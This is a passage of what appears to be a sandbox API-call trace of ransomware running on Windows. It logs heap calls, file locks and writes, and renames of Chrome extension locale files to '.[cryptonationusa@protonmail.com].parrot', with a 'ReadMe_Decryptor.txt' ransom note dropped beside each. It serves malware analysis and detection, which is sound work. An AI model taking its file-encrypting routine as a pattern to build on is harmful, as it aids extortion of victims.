[0063.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405f0 [0063.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0063.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1e8) returned 0x6a3be0 [0063.998] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405f0 | out: hHeap=0x5b0000) returned 1 [0063.998] WriteFile (in: hFile=0x270, lpBuffer=0x6a3be0*, nNumberOfBytesToWrite=0x1e8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x6a3be0*, lpNumberOfBytesWritten=0x18da44*=0x1e8, lpOverlapped=0x0) returned 1 [0063.998] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3be0 | out: hHeap=0x5b0000) returned 1 [0063.998] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.998] CloseHandle (hObject=0x270) returned 1 [0063.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x6a3be0 [0063.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x6a3d18 [0063.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3be0 | out: hHeap=0x5b0000) returned 1 [0063.999] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0064.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3d18 | out: hHeap=0x5b0000) returned 1 [0064.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160b20 | out: hHeap=0x5b0000) returned 1 [0064.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22402b0 | out: hHeap=0x5b0000) returned 1 [0064.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x22402b0 [0064.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x6a3be0 [0064.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0064.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0064.000] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0064.154] GetFileType (hFile=0x28c) returned 0x1 [0064.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0064.167] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f6, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.167] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.167] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.168] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.168] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xde, lpOverlapped=0x0) returned 1 [0064.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0064.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0064.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0064.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0064.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0064.168] GetLastError () returned 0x0 [0064.169] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0064.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0064.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0064.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0064.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0064.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0064.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0064.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0064.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0064.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0064.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0064.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0064.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0064.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0064.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0064.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0064.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0064.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0064.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0064.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0064.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d37b8 [0064.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0064.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x6a3b80 [0064.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d37b8 | out: hHeap=0x5b0000) returned 1 [0064.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x6a3cc8 [0064.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3b80 | out: hHeap=0x5b0000) returned 1 [0064.170] WriteFile (in: hFile=0x28c, lpBuffer=0x6a3cc8*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x6a3cc8*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0064.171] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3cc8 | out: hHeap=0x5b0000) returned 1 [0064.171] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.171] CloseHandle (hObject=0x28c) returned 1 [0064.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x6a3b80 [0064.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x6a3cb8 [0064.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3b80 | out: hHeap=0x5b0000) returned 1 [0064.172] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0064.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3cb8 | out: hHeap=0x5b0000) returned 1 [0064.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160ca8 | out: hHeap=0x5b0000) returned 1 [0064.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a39c8 | out: hHeap=0x5b0000) returned 1 [0064.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x6a39c8 [0064.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x6a3af0 [0064.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0064.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0064.173] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0064.173] GetFileType (hFile=0x28c) returned 0x1 [0064.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0064.185] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.185] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.185] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.185] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.186] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd8, lpOverlapped=0x0) returned 1 [0064.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0064.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0064.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0064.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0064.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0064.186] GetLastError () returned 0x0 [0064.187] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0064.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0064.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0064.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0064.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0064.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0064.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0064.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0064.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0064.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0064.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0064.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0064.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0064.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0064.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0064.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0064.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0064.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0064.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0064.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0064.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405f0 [0064.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0064.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22402b0 [0064.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405f0 | out: hHeap=0x5b0000) returned 1 [0064.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x6a3d98 [0064.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22402b0 | out: hHeap=0x5b0000) returned 1 [0064.188] WriteFile (in: hFile=0x28c, lpBuffer=0x6a3d98*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x6a3d98*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0064.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3d98 | out: hHeap=0x5b0000) returned 1 [0064.188] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.188] CloseHandle (hObject=0x28c) returned 1 [0064.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x22402b0 [0064.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x6a3d98 [0064.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22402b0 | out: hHeap=0x5b0000) returned 1 [0064.189] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0064.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3d98 | out: hHeap=0x5b0000) returned 1 [0064.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160e30 | out: hHeap=0x5b0000) returned 1 [0064.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3be0 | out: hHeap=0x5b0000) returned 1 [0064.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x22402b0 [0064.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x6a3be0 [0064.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0064.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0064.190] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0064.190] GetFileType (hFile=0x28c) returned 0x1 [0064.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0064.260] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f1, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.260] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.260] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.261] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.261] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd9, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd9, lpOverlapped=0x0) returned 1 [0064.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0064.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0064.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0064.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0064.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0064.262] GetLastError () returned 0x0 [0064.263] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0064.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0064.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0064.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0064.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0064.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0064.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0064.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0064.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0064.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0064.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0064.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0064.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0064.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0064.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0064.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0064.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0064.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0064.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0064.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0064.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d37b8 [0064.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0064.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x6a3b80 [0064.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d37b8 | out: hHeap=0x5b0000) returned 1 [0064.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x6a3cc8 [0064.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3b80 | out: hHeap=0x5b0000) returned 1 [0064.264] WriteFile (in: hFile=0x28c, lpBuffer=0x6a3cc8*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x6a3cc8*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0064.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3cc8 | out: 